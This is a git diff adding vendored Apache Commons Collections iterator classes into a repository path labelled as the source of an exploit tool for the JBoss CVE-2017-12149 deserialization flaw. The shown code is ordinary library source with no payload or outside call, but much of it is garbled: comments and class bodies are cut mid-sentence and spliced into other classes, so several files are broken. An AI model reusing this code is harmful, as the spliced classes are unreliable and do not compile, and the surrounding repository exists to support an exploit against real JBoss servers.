+ * Under many circumstances, linking Iterators together in this manner is
+ * more efficient (and convenient) than reading out the contents of each
+ * Iterator into a List and creating a new Iterator.
+ *
+ * Calling a method that adds new Iteratorafter a method in the Iterator
+ * interface has been called will result in an UnsupportedOperationException.
+ * Subclasses should take care to not alter the underlying List of Iterators.
+ *
+ * NOTE: As from version 3.0, the IteratorChain may contain no
+ * iterators. In this case the class will function as an empty iterator.
+ *
+ * @since Commons Collections 2.1
+ * @version $Revision: 1.13 $ $Date: 2004/05/26 21:58:02 $
+ *
+ * @author Morgan Delagrange
+ * @author Stephen Colebourne
+ */
+public class IteratorChain implements Iterator {
+
+ /** The chain of iterators */
+ protected final List iteratorChain = new ArrayList();
+ /** The index of the current iterator */
+ protected int currentIteratorIndex = 0;
+ /** The current iterator */
+ protected Iterator currentIterator = null;
+ /**
+ * The "last used" Iterator is the Iterator upon which
+ * next() or hasNext() was most recently called
+ * used for the remove() operation only
+ */
+ protected Iterator lastUsedIterator = null;
+ /**
+ * ComparatorChain is "locked" after the first time
+ * compare(Object,Object) is called
+ */
+ protected boolean isLocked = false;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Construct an IteratorChain with no Iterators.
+ *
+ * You will normally use {@link #addIterator(Iterator)} to add
+ * some iterators after using this constructor.
+ */
+ public IteratorChain() {
+ super();
+ }
+
+ /**
+ * Construct an IteratorChain with a single Iterator.
+ *
+ * @param iterator first Iterator in the IteratorChain
+ * @throws NullPointerException if the iterator is null
+ */
+ public IteratorChain(Iterator iterator) {
+ super();
+ addIterator(iterator);
+ }
+
+ /**
+ * Constructs a new
+ * The iterator will loop continuously around the provided elements, unless
+ * there are no elements in the collection to begin with, or all the elements
+ * have been {@link #remove removed}.
+ *
+ * Concurrent modifications are not directly supported, and for most collection
+ * implementations will throw a ConcurrentModificationException.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.9 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author Jonathan Carlson
+ * @author Stephen Colebourne
+ */
+public class LoopingIterator implements ResettableIterator {
+
+ /** The collection to base the iterator on */
+ private Collection collection;
+ /** The current iterator */
+ private Iterator iterator;
+
+ /**
+ * Constructor that wraps a collection.
+ *
+ * There is no way to reset an Iterator instance without recreating it from
+ * the original source, so the Collection must be passed in.
+ *
+ * @param coll the collection to wrap
+ * @throws NullPointerException if the collection is null
+ */
+ public LoopingIterator(Collection coll) {
+ if (coll == null) {
+ throw new NullPointerException("The collection must not be null");
+ }
+ collection = coll;
+ reset();
+ }
+
+ /**
+ * Has the iterator any more elements.
+ *
+ * Returns false only if the collection originally had zero elements, or
+ * all the elements have been {@link #remove removed}.
+ *
+ * @return
+ * If at the end of the collection, return the first element.
+ *
+ * @throws NoSuchElementException if there are no elements
+ * at all. Use {@link #hasNext} to avoid this error.
+ */
+ public Object next() {
+ if (collection.size() == 0) {
+ throw new NoSuchElementException("There are no elements for this iterator to loop on");
+ }
+ if (iterator.hasNext() == false) {
+ reset();
+ }
+ return iterator.next();
+ }
+
+ /**
+ * Removes the previously retrieved item from the underlying collection.
+ *
+ * This feature is only supported if the underlying collection's
+ * {@link Collection#iterator iterator} method returns an implementation
+ * that supports it.
+ *
+ * This method can only be called after at least one {@link #next} method call.
+ * After a removal, the remove method may not be called again until another
+ * next has been performed. If the {@link #reset} is called, then remove may
+ * not be called until {@link #next} is called again.
+ */
+ public void remove() {
+ iterator.remove();
+ }
+
+ /**
+ * Resets the iterator back to the start of the collection.
+ */
+ public void reset() {
+ iterator = collection.iterator();
+ }
+
+ /**
+ * Gets the size of the collection underlying the iterator.
+ *
+ * @return the current collection size
+ */
+ public int size() {
+ return collection.size();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ObjectArrayIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ObjectArrayIterator.java"
new file mode 100644
index 0000000..6401245
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ObjectArrayIterator.java"
@@ -0,0 +1,215 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+
+import org.apache.commons.collections.ResettableIterator;
+
+/**
+ * An {@link Iterator} over an array of objects.
+ *
+ * This iterator does not support {@link #remove}, as the object array cannot be
+ * structurally modified.
+ *
+ * The iterator implements a {@link #reset} method, allowing the reset of the iterator
+ * back to the start if required.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.12 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author James Strachan
+ * @author Mauricio S. Moura
+ * @author Michael A. Smith
+ * @author Neil O'Toole
+ * @author Stephen Colebourne
+ * @author Phil Steitz
+ */
+public class ObjectArrayIterator
+ implements Iterator, ResettableIterator {
+
+ /** The array */
+ protected Object[] array = null;
+ /** The start index to loop from */
+ protected int startIndex = 0;
+ /** The end index to loop to */
+ protected int endIndex = 0;
+ /** The current iterator index */
+ protected int index = 0;
+
+ /**
+ * Constructor for use with
+ * Using this constructor, the iterator is equivalent to an empty iterator
+ * until {@link #setArray} is called to establish the array to iterate over.
+ */
+ public ObjectArrayIterator() {
+ super();
+ }
+
+ /**
+ * Constructs an ObjectArrayIterator that will iterate over the values in the
+ * specified array.
+ *
+ * @param array the array to iterate over
+ * @throws NullPointerException if
+ * This method may only be called once, otherwise an IllegalStateException
+ * will occur.
+ *
+ * The {@link #reset} method can be used to reset the iterator if required.
+ *
+ * @param array the array that the iterator should iterate over
+ * @throws IllegalStateException if the
+ * This iterator does not support {@link #add} or {@link #remove}, as the object array
+ * cannot be structurally modified. The {@link #set} method is supported however.
+ *
+ * The iterator implements a {@link #reset} method, allowing the reset of the iterator
+ * back to the start if required.
+ *
+ * @see org.apache.commons.collections.iterators.ObjectArrayIterator
+ * @see java.util.Iterator
+ * @see java.util.ListIterator
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.13 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author Neil O'Toole
+ * @author Stephen Colebourne
+ * @author Phil Steitz
+ */
+public class ObjectArrayListIterator extends ObjectArrayIterator
+ implements ListIterator, ResettableListIterator {
+
+ /**
+ * Holds the index of the last item returned by a call to
+ * Using this constructor, the iterator is equivalent to an empty iterator
+ * until {@link #setArray} is called to establish the array to iterate over.
+ */
+ public ObjectArrayListIterator() {
+ super();
+ }
+
+ /**
+ * Constructs an ObjectArrayListIterator that will iterate over the values in the
+ * specified array.
+ *
+ * @param array the array to iterate over
+ * @throws NullPointerException if
+ * This method sets the element that was returned by the last call
+ * to {@link #next()} of {@link #previous()}.
+ *
+ * Note: {@link ListIterator} implementations that support
+ * This iterator can extract multiple objects from a complex tree-like object graph.
+ * The iteration starts from a single root object.
+ * It uses a
+ * For example, consider an object graph:
+ *
+ * Internally, iteration starts from the root object. When next is called,
+ * the transformer is called to examine the object. The transformer will return
+ * either an iterator or an object. If the object is an Iterator, the next element
+ * from that iterator is obtained and the process repeats. If the element is an object
+ * it is returned.
+ *
+ * Under many circumstances, linking Iterators together in this manner is
+ * more efficient (and convenient) than using nested for loops to extract a list.
+ *
+ * @since Commons Collections 3.1
+ * @version $Revision: 1.3 $ $Date: 2004/05/03 11:50:30 $
+ *
+ * @author Stephen Colebourne
+ */
+public class ObjectGraphIterator implements Iterator {
+
+ /** The stack of iterators */
+ protected final ArrayStack stack = new ArrayStack(8);
+ /** The root object in the tree */
+ protected Object root;
+ /** The transformer to use */
+ protected Transformer transformer;
+
+ /** Whether there is another element in the iteration */
+ protected boolean hasNext = false;
+ /** The current iterator */
+ protected Iterator currentIterator;
+ /** The current value */
+ protected Object currentValue;
+ /** The last used iterator, needed for remove() */
+ protected Iterator lastUsedIterator;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructs an ObjectGraphIterator using a root object and transformer.
+ *
+ * The root object can be an iterator, in which case it will be immediately
+ * looped around.
+ *
+ * @param root the root object, null will result in an empty iterator
+ * @param transformer the transformer to use, null will use a no effect transformer
+ */
+ public ObjectGraphIterator(Object root, Transformer transformer) {
+ super();
+ if (root instanceof Iterator) {
+ this.currentIterator = (Iterator) root;
+ } else {
+ this.root = root;
+ }
+ this.transformer = transformer;
+ }
+
+ /**
+ * Constructs a ObjectGraphIterator that will handle an iterator of iterators.
+ *
+ * This constructor exists for convenience to emphasise that this class can
+ * be used to iterate over nested iterators. That is to say that the iterator
+ * passed in here contains other iterators, which may in turn contain further
+ * iterators.
+ *
+ * @param rootIterator the root iterator, null will result in an empty iterator
+ */
+ public ObjectGraphIterator(Iterator rootIterator) {
+ super();
+ this.currentIterator = rootIterator;
+ this.transformer = null;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Loops around the iterators to find the next value to return.
+ */
+ protected void updateCurrentIterator() {
+ if (hasNext) {
+ return;
+ }
+ if (currentIterator == null) {
+ if (root == null) {
+ // do nothing, hasNext will be false
+ } else {
+ if (transformer == null) {
+ findNext(root);
+ } else {
+ findNext(transformer.transform(root));
+ }
+ root = null;
+ }
+ } else {
+ findNextByIterator(currentIterator);
+ }
+ }
+
+ /**
+ * Finds the next object in the iteration given any start object.
+ *
+ * @param value the value to start from
+ */
+ protected void findNext(Object value) {
+ if (value instanceof Iterator) {
+ // need to examine this iterator
+ findNextByIterator((Iterator) value);
+ } else {
+ // next value found
+ currentValue = value;
+ hasNext = true;
+ }
+ }
+
+ /**
+ * Finds the next object in the iteration given an iterator.
+ *
+ * @param iterator the iterator to start from
+ */
+ protected void findNextByIterator(Iterator iterator) {
+ if (iterator != currentIterator) {
+ // recurse a level
+ if (currentIterator != null) {
+ stack.push(currentIterator);
+ }
+ currentIterator = iterator;
+ }
+
+ while (currentIterator.hasNext() && hasNext == false) {
+ Object next = currentIterator.next();
+ if (transformer != null) {
+ next = transformer.transform(next);
+ }
+ findNext(next);
+ }
+ if (hasNext) {
+ // next value found
+ } else if (stack.isEmpty()) {
+ // all iterators exhausted
+ } else {
+ // current iterator exhausted, go up a level
+ currentIterator = (Iterator) stack.pop();
+ findNextByIterator(currentIterator);
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Checks whether there are any more elements in the iteration to obtain.
+ *
+ * @return true if elements remain in the iteration
+ */
+ public boolean hasNext() {
+ updateCurrentIterator();
+ return hasNext;
+ }
+
+ /**
+ * Gets the next element of the iteration.
+ *
+ * @return the next element from the iteration
+ * @throws NoSuchElementException if all the Iterators are exhausted
+ */
+ public Object next() {
+ updateCurrentIterator();
+ if (hasNext == false) {
+ throw new NoSuchElementException("No more elements in the iteration");
+ }
+ lastUsedIterator = currentIterator;
+ Object result = currentValue;
+ currentValue = null;
+ hasNext = false;
+ return result;
+ }
+
+ /**
+ * Removes from the underlying collection the last element returned.
+ *
+ * This method calls remove() on the underlying Iterator and it may
+ * throw an UnsupportedOperationException if the underlying Iterator
+ * does not support this method.
+ *
+ * @throws UnsupportedOperationException
+ * if the remove operator is not supported by the underlying Iterator
+ * @throws IllegalStateException
+ * if the next method has not yet been called, or the remove method has
+ * already been called after the last call to the next method.
+ */
+ public void remove() {
+ if (lastUsedIterator == null) {
+ throw new IllegalStateException("Iterator remove() cannot be called at this time");
+ }
+ lastUsedIterator.remove();
+ lastUsedIterator = null;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ProxyIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ProxyIterator.java"
new file mode 100644
index 0000000..2a2b81c
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ProxyIterator.java"
@@ -0,0 +1,101 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.Iterator;
+
+/**
+ * A Proxy {@link Iterator Iterator} which delegates its methods to a proxy instance.
+ *
+ * @deprecated Use AbstractIteratorDecorator. Will be removed in v4.0
+ * @since Commons Collections 1.0
+ * @version $Revision: 1.10 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author James Strachan
+ */
+public class ProxyIterator implements Iterator {
+
+ /** Holds value of property iterator. */
+ private Iterator iterator;
+
+ // Constructors
+ //-------------------------------------------------------------------------
+
+ /**
+ * Constructs a new
+ * This returns true if the single object hasn't been returned yet.
+ *
+ * @return true if the single object hasn't been returned yet
+ */
+ public boolean hasNext() {
+ return (beforeFirst && !removed);
+ }
+
+ /**
+ * Get the next object from the iterator.
+ *
+ * This returns the single object if it hasn't been returned yet.
+ *
+ * @return the single object
+ * @throws NoSuchElementException if the single object has already
+ * been returned
+ */
+ public Object next() {
+ if (!beforeFirst || removed) {
+ throw new NoSuchElementException();
+ }
+ beforeFirst = false;
+ return object;
+ }
+
+ /**
+ * Remove the object from this iterator.
+ *
+ * @throws IllegalStateException if the next method has not
+ * yet been called, or the remove method has already
+ * been called after the last call to the next
+ * method.
+ * @throws UnsupportedOperationException if remove is not supported
+ */
+ public void remove() {
+ if (removeAllowed) {
+ if (removed || beforeFirst) {
+ throw new IllegalStateException();
+ } else {
+ object = null;
+ removed = true;
+ }
+ } else {
+ throw new UnsupportedOperationException();
+ }
+ }
+
+ /**
+ * Reset the iterator to the start.
+ */
+ public void reset() {
+ beforeFirst = true;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/SingletonListIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/SingletonListIterator.java"
new file mode 100644
index 0000000..9364b85
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/SingletonListIterator.java"
@@ -0,0 +1,175 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.ListIterator;
+import java.util.NoSuchElementException;
+
+import org.apache.commons.collections.ResettableListIterator;
+
+/**
+ *
+ * This returns true if the single object hasn't been returned yet.
+ *
+ * @return true if the single object hasn't been returned yet
+ */
+ public boolean hasNext() {
+ return beforeFirst && !removed;
+ }
+
+ /**
+ * Is a previous object available from the iterator?
+ *
+ * This returns true if the single object has been returned.
+ *
+ * @return true if the single object has been returned
+ */
+ public boolean hasPrevious() {
+ return !beforeFirst && !removed;
+ }
+
+ /**
+ * Returns the index of the element that would be returned by a subsequent
+ * call to next.
+ *
+ * @return 0 or 1 depending on current state.
+ */
+ public int nextIndex() {
+ return (beforeFirst ? 0 : 1);
+ }
+
+ /**
+ * Returns the index of the element that would be returned by a subsequent
+ * call to previous. A return value of -1 indicates that the iterator is currently at
+ * the start.
+ *
+ * @return 0 or -1 depending on current state.
+ */
+ public int previousIndex() {
+ return (beforeFirst ? -1 : 0);
+ }
+
+ /**
+ * Get the next object from the iterator.
+ *
+ * This returns the single object if it hasn't been returned yet.
+ *
+ * @return the single object
+ * @throws NoSuchElementException if the single object has already
+ * been returned
+ */
+ public Object next() {
+ if (!beforeFirst || removed) {
+ throw new NoSuchElementException();
+ }
+ beforeFirst = false;
+ nextCalled = true;
+ return object;
+ }
+
+ /**
+ * Get the previous object from the iterator.
+ *
+ * This returns the single object if it has been returned.
+ *
+ * @return the single object
+ * @throws NoSuchElementException if the single object has not already
+ * been returned
+ */
+ public Object previous() {
+ if (beforeFirst || removed) {
+ throw new NoSuchElementException();
+ }
+ beforeFirst = true;
+ return object;
+ }
+
+ /**
+ * Remove the object from this iterator.
+ * @throws IllegalStateException if the next or previous
+ * method has not yet been called, or the remove method
+ * has already been called after the last call to next
+ * or previous.
+ */
+ public void remove() {
+ if(!nextCalled || removed) {
+ throw new IllegalStateException();
+ } else {
+ object = null;
+ removed = true;
+ }
+ }
+
+ /**
+ * Add always throws {@link UnsupportedOperationException}.
+ *
+ * @throws UnsupportedOperationException always
+ */
+ public void add(Object obj) {
+ throw new UnsupportedOperationException("add() is not supported by this iterator");
+ }
+
+ /**
+ * Set sets the value of the singleton.
+ *
+ * @param obj the object to set
+ * @throws IllegalStateException if next has not been called
+ * or the object has been removed
+ */
+ public void set(Object obj) {
+ if (!nextCalled || removed) {
+ throw new IllegalStateException();
+ }
+ this.object = obj;
+ }
+
+ /**
+ * Reset the iterator back to the start.
+ */
+ public void reset() {
+ beforeFirst = true;
+ nextCalled = false;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/TransformIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/TransformIterator.java"
new file mode 100644
index 0000000..c2b4c96
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/TransformIterator.java"
@@ -0,0 +1,148 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.Iterator;
+
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Decorates an iterator such that each element returned is transformed.
+ *
+ * @since Commons Collections 1.0
+ * @version $Revision: 1.9 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author James Strachan
+ * @author Stephen Colebourne
+ */
+public class TransformIterator implements Iterator {
+
+ /** The iterator being used */
+ private Iterator iterator;
+ /** The transformer being used */
+ private Transformer transformer;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructs a new
+ * If the iterator is already unmodifiable it is returned directly.
+ *
+ * @param iterator the iterator to decorate
+ * @throws IllegalArgumentException if the iterator is null
+ */
+ public static Iterator decorate(Iterator iterator) {
+ if (iterator == null) {
+ throw new IllegalArgumentException("Iterator must not be null");
+ }
+ if (iterator instanceof Unmodifiable) {
+ return iterator;
+ }
+ return new UnmodifiableIterator(iterator);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor.
+ *
+ * @param iterator the iterator to decorate
+ */
+ private UnmodifiableIterator(Iterator iterator) {
+ super();
+ this.iterator = iterator;
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean hasNext() {
+ return iterator.hasNext();
+ }
+
+ public Object next() {
+ return iterator.next();
+ }
+
+ public void remove() {
+ throw new UnsupportedOperationException("remove() is not supported");
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UnmodifiableListIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UnmodifiableListIterator.java"
new file mode 100644
index 0000000..55ac944
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UnmodifiableListIterator.java"
@@ -0,0 +1,100 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.ListIterator;
+
+import org.apache.commons.collections.Unmodifiable;
+
+/**
+ * Decorates a list iterator such that it cannot be modified.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UnmodifiableListIterator implements ListIterator, Unmodifiable {
+
+ /** The iterator being decorated */
+ private ListIterator iterator;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Decorates the specified iterator such that it cannot be modified.
+ *
+ * @param iterator the iterator to decorate
+ * @throws IllegalArgumentException if the iterator is null
+ */
+ public static ListIterator decorate(ListIterator iterator) {
+ if (iterator == null) {
+ throw new IllegalArgumentException("ListIterator must not be null");
+ }
+ if (iterator instanceof Unmodifiable) {
+ return iterator;
+ }
+ return new UnmodifiableListIterator(iterator);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor.
+ *
+ * @param iterator the iterator to decorate
+ */
+ private UnmodifiableListIterator(ListIterator iterator) {
+ super();
+ this.iterator = iterator;
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean hasNext() {
+ return iterator.hasNext();
+ }
+
+ public Object next() {
+ return iterator.next();
+ }
+
+ public int nextIndex() {
+ return iterator.nextIndex();
+ }
+
+ public boolean hasPrevious() {
+ return iterator.hasPrevious();
+ }
+
+ public Object previous() {
+ return iterator.previous();
+ }
+
+ public int previousIndex() {
+ return iterator.previousIndex();
+ }
+
+ public void remove() {
+ throw new UnsupportedOperationException("remove() is not supported");
+ }
+
+ public void set(Object obj) {
+ throw new UnsupportedOperationException("set() is not supported");
+ }
+
+ public void add(Object obj) {
+ throw new UnsupportedOperationException("add() is not supported");
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UnmodifiableMapIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UnmodifiableMapIterator.java"
new file mode 100644
index 0000000..9ae377d
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UnmodifiableMapIterator.java"
@@ -0,0 +1,87 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import org.apache.commons.collections.MapIterator;
+import org.apache.commons.collections.Unmodifiable;
+
+/**
+ * Decorates a map iterator such that it cannot be modified.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UnmodifiableMapIterator implements MapIterator, Unmodifiable {
+
+ /** The iterator being decorated */
+ private MapIterator iterator;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Decorates the specified iterator such that it cannot be modified.
+ *
+ * @param iterator the iterator to decorate
+ * @throws IllegalArgumentException if the iterator is null
+ */
+ public static MapIterator decorate(MapIterator iterator) {
+ if (iterator == null) {
+ throw new IllegalArgumentException("MapIterator must not be null");
+ }
+ if (iterator instanceof Unmodifiable) {
+ return iterator;
+ }
+ return new UnmodifiableMapIterator(iterator);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor.
+ *
+ * @param iterator the iterator to decorate
+ */
+ private UnmodifiableMapIterator(MapIterator iterator) {
+ super();
+ this.iterator = iterator;
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean hasNext() {
+ return iterator.hasNext();
+ }
+
+ public Object next() {
+ return iterator.next();
+ }
+
+ public Object getKey() {
+ return iterator.getKey();
+ }
+
+ public Object getValue() {
+ return iterator.getValue();
+ }
+
+ public Object setValue(Object value) {
+ throw new UnsupportedOperationException("setValue() is not supported");
+ }
+
+ public void remove() {
+ throw new UnsupportedOperationException("remove() is not supported");
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UnmodifiableOrderedMapIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UnmodifiableOrderedMapIterator.java"
new file mode 100644
index 0000000..be1c795
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UnmodifiableOrderedMapIterator.java"
@@ -0,0 +1,95 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import org.apache.commons.collections.OrderedMapIterator;
+import org.apache.commons.collections.Unmodifiable;
+
+/**
+ * Decorates an ordered map iterator such that it cannot be modified.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UnmodifiableOrderedMapIterator implements OrderedMapIterator, Unmodifiable {
+
+ /** The iterator being decorated */
+ private OrderedMapIterator iterator;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Decorates the specified iterator such that it cannot be modified.
+ *
+ * @param iterator the iterator to decorate
+ * @throws IllegalArgumentException if the iterator is null
+ */
+ public static OrderedMapIterator decorate(OrderedMapIterator iterator) {
+ if (iterator == null) {
+ throw new IllegalArgumentException("OrderedMapIterator must not be null");
+ }
+ if (iterator instanceof Unmodifiable) {
+ return iterator;
+ }
+ return new UnmodifiableOrderedMapIterator(iterator);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor.
+ *
+ * @param iterator the iterator to decorate
+ */
+ private UnmodifiableOrderedMapIterator(OrderedMapIterator iterator) {
+ super();
+ this.iterator = iterator;
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean hasNext() {
+ return iterator.hasNext();
+ }
+
+ public Object next() {
+ return iterator.next();
+ }
+
+ public boolean hasPrevious() {
+ return iterator.hasPrevious();
+ }
+
+ public Object previous() {
+ return iterator.previous();
+ }
+
+ public Object getKey() {
+ return iterator.getKey();
+ }
+
+ public Object getValue() {
